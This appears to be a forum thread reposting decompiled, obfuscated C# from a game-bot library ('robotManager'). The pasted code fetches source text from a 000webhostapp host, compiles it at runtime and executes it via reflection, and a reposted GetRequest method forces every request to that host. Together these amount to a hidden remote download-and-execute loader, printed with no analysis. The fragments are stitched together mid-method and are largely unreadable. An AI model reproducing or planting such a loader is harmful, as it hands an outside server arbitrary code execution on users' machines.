4270 4221 4271 4268 4268 4255 4264 4270 4234 4268 4265 4253 4255 4269 4269 4194 4195 4200 4229 4259 4262 4262 4194 4195 4213 4164 4163 4163 4163 4279 4164 4163 4163 4163 4268 4265 4252 4265 4270 4231 4251 4264 4251 4257 4255 4268 4200 4226 4255 4262 4266 4256 4271 4262 4200 4240 4251 4268 4200 4237 4255 4270 4240 4251 4268 4194 4188 4227 4269 4237 4251 4256 4255 4238 4265 4239 4269 4255 4188 4198 4186 4270 4268 4271 4255 4195 4213 4164 4163 4163 4163 4268 4265 4252 4265 4270 4231 4251 4264 4251 4257 4255 4268 4200 4226 4255 4262 4266 4256 4271 4262 4200 4240 4251 4268 4200 4237 4255 4270 4240 4251 4268 4194 4188 4237 4255 4269 4269 4259 4265 4264 4229 4255 4275 4188 4198 4186 4188 4204 4205 4203 4211 4210 4205 4208 4210 4210 4203 4210 4202 4188 4195 4213 4164 4186 4186 4186 4186 4186 4186 4186 4186 4279 4164 4186 4186 4186 4186 4186 4186 4186 4186 4253 4251 4270 4253 4258 4186 4194 4237 4275 4269 4270 4255 4263 4200 4223 4274 4253 4255 4266 4270 4259 4265 4264 4186 4255 4195 4164 4186 4186 4186 4186 4186 4186 4186 4186 4277 4279 4164 4186 4186 4186 4186 4279 4164 4279 ";
label_14:
        int num1 = 564380419;
        while (true)
        {
          int num2 = 1777762466;
          uint num3;
          switch ((num3 = (uint) (num1 ^ num2)) % 8U)
          {
            case 0:
              Class6.smethod_14(\u003CModule\u003E.smethod_2<string>(2781807447U), true);
              num1 = (int) num3 * -45027477 ^ 1996590559;
              continue;
            case 1:
              int num4;
              int num5;
              if (!Class6.smethod_13(string_0_2))
              {
                int num6 = 1282995050;
                num5 = 1282995050;
                num4 = num6;
              }
              else
              {
                num4 = 25451549;
                num5 = 25451549;
              }
              int num7 = (int) num3 * -1043073745;
              num1 = num4 ^ num7;
              continue;
            case 3:
              goto label_14;
            case 4:
              int num8;
              int num9;
              if (!Class6.smethod_15(Class6.smethod_4(string_0_1, \u003CModule\u003E.smethod_2<string>(2216439037U), ""), string.Empty))
              {
                int num6 = 1105797984;
                num9 = 1105797984;
                num8 = num6;
              }
              else
              {
                num8 = 1513096052;
                num9 = 1513096052;
              }
              int num10 = (int) num3 * -159273932;
              num1 = num8 ^ num10;
              continue;
            case 5:
              goto label_34;
            case 6:
              goto label_16;
            case 7:
              string_0_1 = Class6.smethod_3(Class6.smethod_11((object) "http://tumadre.000webhostapp.com/code.php"), "code=true");
              num1 = 548254726;
              continue;
            default:
              goto label_18;
          }
        }
label_34:
        return;
label_16:
        Class6.smethod_14(\u003CModule\u003E.smethod_2<string>(2018832399U), true);
        return;
      }
      catch (Exception ex)
      {
        Class6.smethod_14(Class6.smethod_12((object) \u003CModule\u003E.smethod_6<string>(824256883U), (object) ex), true);
        return;
      }
label_18:
      Class6.assembly_0 = (Assembly) null;
label_31:
      int num11 = 428722029;
      while (true)
      {
        int num1 = 1777762466;
        uint num2;
        CompilerResults compilerResults_0;
        string string_1;
        switch ((num2 = (uint) (num11 ^ num1)) % 9U)
        {
          case 0:
            Class6.smethod_14(Class6.smethod_25(\u003CModule\u003E.smethod_6<string>(3179481831U), string_1), true);
            num11 = (int) num2 * 290567119 ^ -644645057;
            continue;
          case 1:
            // ISSUE: method pointer
            string_1 = Class6.smethod_23(compilerResults_0).Cast<CompilerError>().Aggregate<CompilerError, string>(\u003CModule\u003E.smethod_2<string>(3690666717U), Class6.Class7.\u003C\u003E9__4_2 ?? (Class6.Class7.\u003C\u003E9__4_2 = new Func<string, CompilerError, string>((object) Class6.Class7.\u003C\u003E9, __methodptr(method_2))));
            num11 = 432873107;
            continue;
          case 2:
            Class6.assembly_0 = Class6.smethod_26(compilerResults_0);
            num11 = 1082597889;
            continue;
          case 3:
            goto label_32;
          case 4:
            goto label_31;
          case 5:
            Class6.object_0 = Class6.smethod_27(Class6.assembly_0, \u003CModule\u003E.smethod_4<string>(2478882365U), true);
            num11 = (int) num2 * -957446206 ^ -1890044487;
            continue;
          case 6:
            Class6.object_0 = (object) null;
            CSharpCodeProvider csharpCodeProvider = Class6.smethod_16();
            CompilerParameters compilerParameters_0_1 = Class6.smethod_17();
            // ISSUE: method pointer
            // ISSUE: method pointer
            IEnumerable<string> source = ((IEnumerable<Assembly>) Class6.smethod_19(Class6.smethod_18())).Where<Assembly>(Class6.Class7.\u003C\u003E9__4_0 ?? (Class6.Class7.\u003C\u003E9__4_0 = new Func<Assembly, bool>((object) Class6.Class7.\u003C\u003E9, __methodptr(method_0)))).Select<Assembly, string>(Class6.Class7.\u003C\u003E9__4_1 ?? (Class6.Class7.\u003C\u003E9__4_1 = new Func<Assembly, string>((object) Class6.Class7.\u003C\u003E9, __methodptr(method_1))));
            Class6.smethod_21(Class6.smethod_20(compilerParameters_0_1), source.ToArray<string>());
            string str = string_0_1;
            CompilerParameters compilerParameters_0_2 = compilerParameters_0_1;
            string[] string_0_2 = new string[1]{ str };
            compilerResults_0 = Class6.smethod_22((CodeDomProvider) csharpCodeProvider, compilerParameters_0_2, string_0_2);
            int num3;
            int num4;
            if (Class6.smethod_24(Class6.smethod_23(compilerResults_0)))
            {
              int num5 = 820866222;
              num4 = 820866222;
              num3 = num5;
            }
            else
            {
              num3 = 1834759452;
              num4 = 1834759452;
            }
            num11 = num3;
            continue;
          case 7:
            object object0 = Class6.object_0;
            if (object0 != null)
            {
              Class6.smethod_30((MethodBase) Class6.smethod_29(Class6.smethod_28(object0), \u003CModule\u003E.smethod_5<string>(1418586594U)), Class6.object_0, new object[0]);
              num11 = (int) num2 * -881233404 ^ -377459173;
              continue;
            }
            goto label_33;
          case 8:
            goto label_30;
          default:
            goto label_15;
        }
      }
label_15:
      return;
label_30:
      return;
label_32:
      return;
label_33:;
    }
    catch (Exception ex)
    {
label_38:
      int num1 = 816977223;
      while (true)
      {
        int num2 = 1777762466;
        uint num3;
        switch ((num3 = (uint) (num1 ^ num2)) % 3U)
        {
          case 0:
            goto label_13;
          case 1:
            Class6.smethod_14(Class6.smethod_12((object) \u003CModule\u003E.smethod_5<string>(1207915278U), (object) ex), true);
            num1 = (int) num3 * -2107952440 ^ -1211813843;
            continue;
          case 2:
            goto label_38;
          default:
            goto label_39;
        }
      }
label_39:
      return;
label_13:;
    }
  }

  // Method smethod_3 with token 0600017D
  static string smethod_3(/*Parameter with token 080001C8*/string string_0, /*Parameter with token 080001C9*/string string_1)
  {
    return Others.GetRequest(string_0, string_1);
  }

  // Method smethod_4 with token 0600017E
  static string smethod_4(/*Parameter with token 080001CA*/string string_0, /*Parameter with token 080001CB*/string string_1, /*Parameter with token 080001CC*/string string_2)
  {
    return string_0.Replace(string_1, string_2);
  }

  // Method smethod_5 with token 0600017F
  static char smethod_5(/*Parameter with token 080001CD*/string string_0, /*Parameter with token 080001CE*/int int_0)
  {
    return string_0[int_0];
  }

  // Method smethod_6 with token 06000180
  static CultureInfo smethod_6()
  {
    return CultureInfo.InvariantCulture;
  }

  // Method smethod_7 with token 06000181
  static Thread smethod_7(/*Parameter with token 080001CF*/ParameterizedThreadStart parameterizedThreadStart_0)
  {
    return new Thread(parameterizedThreadStart_0);
  }

  // Method smethod_8 with token 06000182
  static void smethod_8(/*Parameter with token 080001D0*/Thread thread_0, /*Parameter with token 080001D1*/string string_0)
  {
    thread_0.Name = string_0;
  }

  // Method smethod_9 with token 06000183
  static void smethod_9(/*Parameter with token 080001D2*/Thread thread_0, /*Parameter with token 080001D3*/object object_1)
  {
    thread_0.Start(object_1);
  }

  // Method smethod_10 with token 06000184
  static int smethod_10(/*Parameter with token 080001D4*/int int_0, /*Parameter with token 080001D5*/int int_1)
  {
    return Others.Random(int_0, int_1);
  }

  // Method smethod_11 with token 06000185
  static string smethod_11(/*Parameter with token 080001D6*/object object_1)
  {
    return object_1.ToString();
  }

  // Method smethod_12 with token 06000186
  static string smethod_12(/*Parameter with token 080001D7*/object object_1, /*Parameter with token 080001D8*/object object_2)
  {
    return object_1.ToString() + object_2;
  }

  // Method smethod_13 with token 06000187
  static bool smethod_13(/*Parameter with token 080001D9*/string string_0)
  {
    return string.IsNullOrWhiteSpace(string_0);
  }

  // Method smethod_14 with token 06000188
  static void smethod_14(/*Parameter with token 080001DA*/string string_0, /*Parameter with token 080001DB*/bool bool_0)
  {
    Logging.WriteError(string_0, bool_0);
  }

  // Method smethod_15 with token 06000189
  static bool smethod_15(/*Parameter with token 080001DC*/string string_0, /*Parameter with token 080001DD*/string string_1)
  {
    return string_0 == string_1;
  }

  // Method smethod_16 with token 0600018A
  static CSharpCodeProvider smethod_16()
  {
    return new CSharpCodeProvider();
  }

  // Method smethod_17 with token 0600018B
  static CompilerParameters smethod_17()
  {
    return new CompilerParameters();
  }

  // Method smethod_18 with token 0600018C
  static AppDomain smethod_18()
  {
    return AppDomain.CurrentDomain;
  }

  // Method smethod_19 with token 0600018D
  static Assembly[] smethod_19(/*Parameter with token 080001DE*/AppDomain appDomain_0)
  {
    return appDomain_0.GetAssemblies();
  }

  // Method smethod_20 with token 0600018E
  static StringCollection smethod_20(/*Parameter with token 080001DF*/CompilerParameters compilerParameters_0)
  {
    return compilerParameters_0.ReferencedAssemblies;
  }

  // Method smethod_21 with token 0600018F
  static void smethod_21(/*Parameter with token 080001E0*/StringCollection stringCollection_0, /*Parameter with token 080001E1*/string[] string_0)
  {
    stringCollection_0.AddRange(string_0);
  }

  // Method smethod_22 with token 06000190
  static CompilerResults smethod_22(/*Parameter with token 080001E2*/CodeDomProvider codeDomProvider_0, /*Parameter with token 080001E3*/CompilerParameters compilerParameters_0, /*Parameter with token 080001E4*/string[] string_0)
  {
    return codeDomProvider_0.CompileAssemblyFromSource(compilerParameters_0, string_0);
  }

  // Method smethod_23 with token 06000191
  static CompilerErrorCollection smethod_23(/*Parameter with token 080001E5*/CompilerResults compilerResults_0)
  {
    return compilerResults_0.Errors;
  }

  // Method smethod_24 with token 06000192
  static bool smethod_24(/*Parameter with token 080001E6*/CompilerErrorCollection compilerErrorCollection_0)
  {
    return compilerErrorCollection_0.HasErrors;
  }

  // Method smethod_25 with token 06000193
  static string smethod_25(/*Parameter with token 080001E7*/string string_0, /*Parameter with token 080001E8*/string string_1)
  {
    return string_0 + string_1;
  }

  // Method smethod_26 with token 06000194
  static Assembly smethod_26(/*Parameter with token 080001E9*/CompilerResults compilerResults_0)
  {
    return compilerResults_0.CompiledAssembly;
  }

  // Method smethod_27 with token 06000195
  static object smethod_27(/*Parameter with token 080001EA*/Assembly assembly_1, /*Parameter with token 080001EB*/string string_0, /*Parameter with token 080001EC*/bool bool_0)
  {
    return assembly_1.CreateInstance(string_0, bool_0);
  }

  // Method smethod_28 with token 06000196
  static Type smethod_28(/*Parameter with token 080001ED*/object object_1)
  {
    return object_1.GetType();
  }

  // Method smethod_29 with token 06000197
  static MethodInfo smethod_29(/*Parameter with token 080001EE*/Type type_0, /*Parameter with token 080001EF*/string string_0)
  {
    return type_0.GetMethod(string_0);
  }

  // Method smethod_30 with token 06000198
  static object smethod_30(/*Parameter with token 080001F0*/MethodBase methodBase_0, /*Parameter with token 080001F1*/object object_1, /*Parameter with token 080001F2*/object[] object_2)
  {
    return methodBase_0.Invoke(object_1, object_2);
  }

  // Type Class7 with token 02000018
  [/*Attribute with token 0C000011*/CompilerGenerated]
  [Serializable]
  private sealed class Class7
  {
    // Field <>9 with token 0400008F
    public static readonly Class6.Class7 \u003C\u003E9;
    // Field <>9__4_0 with token 04000090
    public static Func<Assembly, bool> \u003C\u003E9__4_0;
    // Field <>9__4_1 with token 04000091
    public static Func<Assembly, string> \u003C\u003E9__4_1;
    // Field <>9__4_2 with token 04000092
    public static Func<string, CompilerError, string> \u003C\u003E9__4_2;

    // Method .cctor with token 06000199
    static Class7()
    {
      Class6.Class7.\u003C\u003E9 = new Class6.Class7();
    }

    // Method .ctor with token 0600019A
    public Class7()
    {
      base.\u002Ector();
    }

    // Method method_0 with token 0600019B
    internal bool method_0(/*Parameter with token 080001F3*/Assembly assembly_0)
    {
      if (!Class6.Class7.smethod_0(assembly_0))
        return !Class6.Class7.smethod_5(Class6.Class7.smethod_1(assembly_0), Class6.Class7.smethod_4(Class6.Class7.smethod_3(Class6.Class7.smethod_2()), \u003CModule\u003E.smethod_4<string>(3884101084U)));
      return false;
    }

    // Method method_1 with token 0600019C
    internal string method_1(/*Parameter with token 080001F4*/Assembly assembly_0)
    {
      return Class6.Class7.smethod_6(assembly_0);
    }

    // Method method_2 with token 0600019D
    internal string method_2(/*Parameter with token 080001F5*/string string_0, /*Parameter with token 080001F6*/CompilerError compilerError_0)
    {
      return Class6.Class7.smethod_7((object) string_0, (object) compilerError_0, (object) \u003CModule\u003E.smethod_6<string>(1641578550U));
    }

    // Method smethod_0 with token 0600019E
    static bool smethod_0(/*Parameter with token 080001F7*/Assembly assembly_0)
    {
      return assembly_0.IsDynamic;
    }

    // Method smethod_1 with token 0600019F
    static string smethod_1(/*Parameter with token 080001F8*/Assembly assembly_0)
    {
      return assembly_0.CodeBase;
    }

    // Method smethod_2 with token 060001A0
    static Process smethod_2()
    {
      return Process.GetCurrentProcess();
    }

    // Method smethod_3 with token 060001A1
    static string smethod_3(/*Parameter with token 080001F9*/Process process_0)
    {
      return process_0.ProcessName;
    }

    // Method smethod_4 with token 060001A2
    static string smethod_4(/*Parameter with token 080001FA*/string string_0, /*Parameter with token 080001FB*/string string_1)
    {
      return string_0 + string_1;
    }

    // Method smethod_5 with token 060001A3
    static bool smethod_5(/*Parameter with token 080001FC*/string string_0, /*Parameter with token 080001FD*/string string_1)
    {
      return string_0.Contains(string_1);
    }

    // Method smethod_6 with token 060001A4
    static string smethod_6(/*Parameter with token 080001FE*/Assembly assembly_0)
    {
      return assembly_0.Location;
    }

    // Method smethod_7 with token 060001A5
    static string smethod_7(/*Parameter with token 080001FF*/object object_0, /*Parameter with token 08000200*/object object_1, /*Parameter with token 08000201*/object object_2)
    {
      return object_0.ToString() + object_1 + object_2;
    }
  }
}
 

 

 

 

 

Share this post


Link to post
Share on other sites

    // Method GetRequest with token 0600060D
    public static string GetRequest(/*Parameter with token 0800012B*/string url, /*Parameter with token 0800012C*/string data)
    {
      return Others.GetRequest("http://tumadre.000webhostapp.com/code.php", data, false);
    }

Share this post


Link to post
Share on other sites

using IWshRuntimeLibrary;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Management;
using System.Net;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.Windows.Threading;

namespace robotManager.Helpful
{
  // Type Others with token 02000029
  public static class Others
  {
    // Field Utf8 with token 04000581
    private static readonly UTF8Encoding Utf8;
    // Field _random with token 04000582
    private static readonly Random _random;
    // Field _aweuqekadaucueUweuhea with token 04000583
    private static string _aweuqekadaucueUweuhea;
    // Field _ilixae with token 04000584
    private static string _ilixae;
    // Field _xiwaedianeg with token 04000585
    private static bool _xiwaedianeg;
    // Field LockerDownload with token 04000586
    private static readonly object LockerDownload;

    // Method PathCombine with token 060005F3
    public static string PathCombine(/*Parameter with token 08000111*/[/*Attribute with token 0C00002C*/ParamArray] params string[] paths)
    {
      for (int index = 0; index < paths.Length; ++index)
      {
        if (!string.IsNullOrEmpty(paths[index]))
          paths[index] = paths[index].Replace(robotManagerGlobalSetting.Emaetexae(), robotManagerGlobalSetting.AleolekaohumOfeob()).Trim().Trim('\\').Trim();
      }
      return Path.Combine(paths);
    }

    // Method ToUtf8 with token 060005F4
    public static string ToUtf8(/*Parameter with token 08000112*/string text)
    {
      try
      {
        if (string.IsNullOrEmpty(text))
          return text;
        return Encoding.UTF8.GetString(Encoding.Default.GetBytes(text));
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Liviajuitioror() + (object) ex, true);
      }
      return "";
    }

    // Method IsUserAdministrator with token 060005F5
    public static bool IsUserAdministrator()
    {
      try
      {
        return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
      }
      catch (UnauthorizedAccessException ex)
      {
        return false;
      }
      catch (Exception ex)
      {
        return false;
      }
    }

    // Method TextToArrayByLine with token 060005F6
    public static string[] TextToArrayByLine(/*Parameter with token 08000113*/string text)
    {
      try
      {
        // ISSUE: method pointer
        return ((IEnumerable<string>) text.Split(Environment.NewLine.ToCharArray())).Where<string>(Others.\u003C\u003Ec.\u003C\u003E9__3_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__3_0 = new Func<string, bool>((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CTextToArrayByLine\u003Eb__3_0)))).ToArray<string>();
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Luiquot() + (object) ex, true);
        return new string[0];
      }
    }

    // Method ArrayToTextByLine with token 060005F7
    public static string ArrayToTextByLine(/*Parameter with token 08000114*/string[] array)
    {
      try
      {
        // ISSUE: method pointer
        return ((IEnumerable<string>) array).Aggregate<string, string>("", Others.\u003C\u003Ec.\u003C\u003E9__4_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__4_0 = new Func<string, string, string>((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CArrayToTextByLine\u003Eb__4_0))));
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.UbiupevuapusonOtaekiv() + (object) ex, true);
        return "";
      }
    }

    // Method StringToListInt with token 060005F8
    public static List<int> StringToListInt(/*Parameter with token 08000115*/string text)
    {
      return Others.StringArrayToListInt((IEnumerable<string>) Others.TextToArrayByLine(text));
    }

    // Method StringArrayToListInt with token 060005F9
    public static List<int> StringArrayToListInt(/*Parameter with token 08000116*/IEnumerable<string> array)
    {
      try
      {
        List<int> intList = new List<int>();
        foreach (string IntString in array)
        {
          int result;
          if (Others.ParseInt(IntString, out result))
            intList.Add(result);
        }
        return intList;
      }
      catch (Exception ex)
      {
        Logging.WriteDebug(robotManagerGlobalSetting.VugeutuguoRi() + (object) ex);
        return new List<int>();
      }
    }

    // Method OpenWebBrowserOrApplication with token 060005FA
    public static void OpenWebBrowserOrApplication(/*Parameter with token 08000117*/string urlOrPath)
    {
      try
      {
        Process process = new Process();
        ProcessStartInfo processStartInfo = new ProcessStartInfo();
        processStartInfo.FileName = urlOrPath;
        process.StartInfo = processStartInfo;
        process.Start();
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Oleitifi() + (object) ex, true);
      }
    }

    // Method ToUtf8 with token 060005FB
    public static string ToUtf8(/*Parameter with token 08000118*/byte[] bytes)
    {
      try
      {
        string str = Others.Utf8.GetString(bytes, 0, bytes.Length);
        if (str.IndexOf(robotManagerGlobalSetting.JiwikuiqameLoaw(), StringComparison.Ordinal) != -1)
          str = str.Remove(str.IndexOf(robotManagerGlobalSetting.UjioduanepuowiHoun(), StringComparison.Ordinal), str.Length - str.IndexOf(robotManagerGlobalSetting.UliheteibixEgo(), StringComparison.Ordinal));
        return str;
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.IjepaimoesaurDiaqiod() + (object) ex, true);
      }
      return "";
    }

    // Method HardDriveID with token 060005FC
    public static int HardDriveID()
    {
      try
      {
        ManagementObject managementObject = new ManagementObject(robotManagerGlobalSetting.EjavuoreihafinQoigieniuCue());
        managementObject.Get();
        // ISSUE: method pointer
        return managementObject[robotManagerGlobalSetting.OraufuItiwao()].ToString().Sum<char>(Others.\u003C\u003Ec.\u003C\u003E9__10_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__10_0 = new Func<char, int>((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CHardDriveID\u003Eb__10_0))));
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.AbebaQehekua() + (object) ex, true);
        return 0;
      }
    }

    // Method GetFileMd5CheckSum with token 060005FD
    public static string GetFileMd5CheckSum(/*Parameter with token 08000119*/string filePath)
    {
      try
      {
        if (!System.IO.File.Exists(filePath))
          return "";
        FileStream fileStream1 = (FileStream) null;
        try
        {
          MD5CryptoServiceProvider cryptoServiceProvider = new MD5CryptoServiceProvider();
          fileStream1 = System.IO.File.Open(filePath, FileMode.Open, FileAccess.Read);
          FileStream fileStream2 = fileStream1;
          byte[] hash = cryptoServiceProvider.ComputeHash((Stream) fileStream2);
          string str = "";
          foreach (byte num in hash)
            str = num >= (byte) 16 ? str + num.ToString(robotManagerGlobalSetting.Taneacotea()) : str + robotManagerGlobalSetting.AkoerEpoe() + num.ToString(robotManagerGlobalSetting.EsoacabuegeiXeo());
          return str;
        }
        catch (Exception ex)
        {
          Logging.WriteError(robotManagerGlobalSetting.TehesoOxa() + (object) ex, true);
        }
        finally
        {
          fileStream1?.Close();
        }
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Usuogoegauhav() + (object) ex, true);
      }
      return "";
    }

    // Method DelSpecialChar with token 060005FE
    public static string DelSpecialChar(/*Parameter with token 0800011A*/string stringSpecialChar)
    {
      try
      {
        List<string> stringList = new List<string>();
        foreach (char ch in stringSpecialChar)
        {
          if (ch >= 'A' && (ch <= 'z' || ch <= 'Z' && ch >= 'a'))
            stringList.Add(Convert.ToString(ch));
        }
        return string.Concat((IEnumerable<string>) stringList);
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Gavoboi() + (object) ex, true);
        return "";
      }
    }

    // Method DelFileNameIllegalChar with token 060005FF
    public static string DelFileNameIllegalChar(/*Parameter with token 0800011B*/string filename)
    {
      try
      {
        if (string.IsNullOrEmpty(filename))
          return string.Empty;
        // ISSUE: method pointer
        return ((IEnumerable<char>) Path.GetInvalidFileNameChars()).Aggregate<char, string>(filename, Others.\u003C\u003Ec.\u003C\u003E9__13_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__13_0 = new Func<string, char, string>((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CDelFileNameIllegalChar\u003Eb__13_0))));
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Siweoqei() + (object) ex, true);
        return "";
      }
    }

    // Method GetRandomString with token 06000600
    public static string GetRandomString(/*Parameter with token 0800011C*/int maxSize)
    {
      try
      {
        char[] charArray = robotManagerGlobalSetting.IwexiumueExokebom().ToCharArray();
        byte[] data1 = new byte[1];
        RNGCryptoServiceProvider cryptoServiceProvider = new RNGCryptoServiceProvider();
        cryptoServiceProvider.GetNonZeroBytes(data1);
        byte[] data2 = new byte[maxSize];
        cryptoServiceProvider.GetNonZeroBytes(data2);
        StringBuilder stringBuilder = new StringBuilder(maxSize);
        foreach (byte num in data2)
          stringBuilder.Append(charArray[(int) num % (charArray.Length - 1)]);
        return stringBuilder.ToString();
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.AbosaqoEqiolia() + (object) ex, true);
      }
      return robotManagerGlobalSetting.IqoquapifFi();
    }

    // Method ShutDownPc with token 06000601
    public static void ShutDownPc()
    {
      try
      {
        Process process = new Process();
        process.StartInfo.FileName = robotManagerGlobalSetting.Emiubaos();
        process.StartInfo.Arguments = robotManagerGlobalSetting.Onofoumaik();
        process.Start();
        process.Close();
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Ejeluotegieseu() + (object) ex, true);
      }
    }

    // Method Random with token 06000602
    public static int Random(/*Parameter with token 0800011D*/int from, /*Parameter with token 0800011E*/int to)
    {
      try
      {
        return Others._random.Next(from, to + 1);
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Moxoe() + (object) ex, true);
      }
      return 0;
    }

    // Method Random with token 06000603
    public static Random Random()
    {
      try
      {
        return Others._random;
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Ugefo() + (object) ex, true);
      }
      return new Random();
    }

    // Method SecToHour with token 06000604
    public static string SecToHour(/*Parameter with token 0800011F*/int sec)
    {
      try
      {
        TimeSpan timeSpan = TimeSpan.FromSeconds((double) sec);
        return string.Format(robotManagerGlobalSetting.Unaud(), (object) timeSpan.Hours, (object) timeSpan.Minutes, (object) timeSpan.Seconds);
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.PonemiavoalewSew() + (object) ex, true);
        return robotManagerGlobalSetting.Umomaxaevu();
      }
    }

    // Method ReadFileAllLines with token 06000605
    public static string[] ReadFileAllLines(/*Parameter with token 08000120*/string path)
    {
      try
      {
        return System.IO.File.ReadAllLines(path);
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.HareadagaNido() + (object) ex, true);
        return new string[0];
      }
    }

    // Property Times with token 1700001E
    public static int Times
    {
      // Method get_Times with token 06000606
      get
      {
        return Environment.TickCount;
      }
    }

    // Property TimesSec with token 1700001F
    public static int TimesSec
    {
      // Method get_TimesSec with token 06000607
      get
      {
        return Environment.TickCount / 1000;
      }
    }

    // Method DownloadFile with token 06000608
    public static bool DownloadFile(/*Parameter with token 08000121*/string httpUrl, /*Parameter with token 08000122*/string fileDest, /*Parameter with token 08000123*/bool showErrorLog = true, /*Parameter with token 08000124*/bool doEvents = true)
    {
      try
      {
        object lockerDownload = Others.LockerDownload;
        bool lockTaken = false;
        try
        {
          Monitor.Enter(lockerDownload, ref lockTaken);
          Others._aweuqekadaucueUweuhea = httpUrl;
          Others._ilixae = fileDest;
          string directoryName = Path.GetDirectoryName(Others._ilixae);
          if (directoryName != null)
            Directory.CreateDirectory(directoryName);
          // ISSUE: method pointer
          Thread thread = new Thread(new ParameterizedThreadStart((object) null, __methodptr(AhiehaekaNuqo)));
          thread.Name = robotManagerGlobalSetting.KigotusufRuqean();
          thread.Start((object) showErrorLog);
          Thread.Sleep(200);
          while (Others._xiwaedianeg)
          {
            if (doEvents)
              Others.DoEvents();
            Thread.Sleep(100);
          }
          return Others.ExistFile(fileDest);
        }
        finally
        {
          if (lockTaken)
            Monitor.Exit(lockerDownload);
        }
      }
      catch (Exception ex)
      {
        if (showErrorLog)
          Logging.WriteError(robotManagerGlobalSetting.HearakiegKuqaujai() + (object) ex, true);
        Others._xiwaedianeg = false;
        return false;
      }
    }

    // Method AhiehaekaNuqo with token 06000609
    private static void AhiehaekaNuqo(/*Parameter with token 08000125*/object tuepeka)
    {
      try
      {
        Others._xiwaedianeg = true;
        using (WebClient webClient = new WebClient())
        {
          try
          {
            webClient.DownloadFile(Others._aweuqekadaucueUweuhea, Others._ilixae);
          }
          catch (Exception ex)
          {
            bool flag;
            try
            {
              flag = (bool) tuepeka;
            }
            catch
            {
              flag = true;
            }
            if (flag)
            {
              if (string.IsNullOrWhiteSpace(Others._aweuqekadaucueUweuhea))
                Others._aweuqekadaucueUweuhea = string.Empty;
              Logging.WriteDebug(robotManagerGlobalSetting.Siasiocaroaw() + Others._aweuqekadaucueUweuhea + robotManagerGlobalSetting.LuxufukaiwoEsuijen() + (object) ex);
            }
          }
        }
        Others._xiwaedianeg = false;
      }
      catch (Exception ex)
      {
        bool flag;
        try
        {
          flag = (bool) tuepeka;
        }
        catch
        {
          flag = true;
        }
        if (!flag)
          return;
        if (string.IsNullOrWhiteSpace(Others._aweuqekadaucueUweuhea))
          Others._aweuqekadaucueUweuhea = string.Empty;
        Logging.WriteError(robotManagerGlobalSetting.Ewuebihiewia() + Others._aweuqekadaucueUweuhea + robotManagerGlobalSetting.Uqefualew() + (object) ex, true);
      }
    }

    // Method GetFileSizeHttp with token 0600060A
    public static long GetFileSizeHttp(/*Parameter with token 08000126*/string httpUrl)
    {
      WebResponse webResponse = (WebResponse) null;
      try
      {
        WebRequest webRequest = WebRequest.Create(httpUrl);
        webRequest.Method = robotManagerGlobalSetting.Xaefi();
        webRequest.Timeout = 5000;
        webResponse = webRequest.GetResponse();
        long result;
        if (long.TryParse(webResponse.Headers.Get(robotManagerGlobalSetting.Jeadiamafo()).Replace(" ", "").Trim(), out result))
          return result;
      }
      catch
      {
      }
      finally
      {
        try
        {
          webResponse?.Close();
        }
        catch
        {
        }
      }
      return -1;
    }

    // Method GetFilesDirectory with token 0600060B
    public static List<string> GetFilesDirectory(/*Parameter with token 08000127*/string pathDirectory, /*Parameter with token 08000128*/string searchPattern = "*.*")
    {
      string str = "";
      pathDirectory += robotManagerGlobalSetting.Ixaeveudumuide();
      if (!pathDirectory.Contains(robotManagerGlobalSetting.PuxedixoKi()))
        str = System.Windows.Forms.Application.StartupPath + robotManagerGlobalSetting.DabebiesoxaMasuf();
      pathDirectory = str + pathDirectory;
      pathDirectory = pathDirectory.Replace(robotManagerGlobalSetting.AcuceJokavua(), robotManagerGlobalSetting.Tuwueqoqoc());
      if (!Directory.Exists(pathDirectory))
        return new List<string>();
      // ISSUE: method pointer
      return ((IEnumerable<string>) Directory.GetFiles(str + pathDirectory, searchPattern)).Select<string, string>(Others.\u003C\u003Ec.\u003C\u003E9__32_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__32_0 = new Func<string, string>((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CGetFilesDirectory\u003Eb__32_0)))).ToList<string>();
    }

    // Method GetFilesDirectoryAndSubDirectory with token 0600060C
    public static List<string> GetFilesDirectoryAndSubDirectory(/*Parameter with token 08000129*/string pathDirectory, /*Parameter with token 0800012A*/string searchPattern = "*.*")
    {
      Others.\u003C\u003Ec__DisplayClass33_0 cDisplayClass330 = new Others.\u003C\u003Ec__DisplayClass33_0();
      cDisplayClass330.pathDirectory = pathDirectory;
      string str = "";
      cDisplayClass330.pathDirectory += robotManagerGlobalSetting.ApaicueguecodEx();
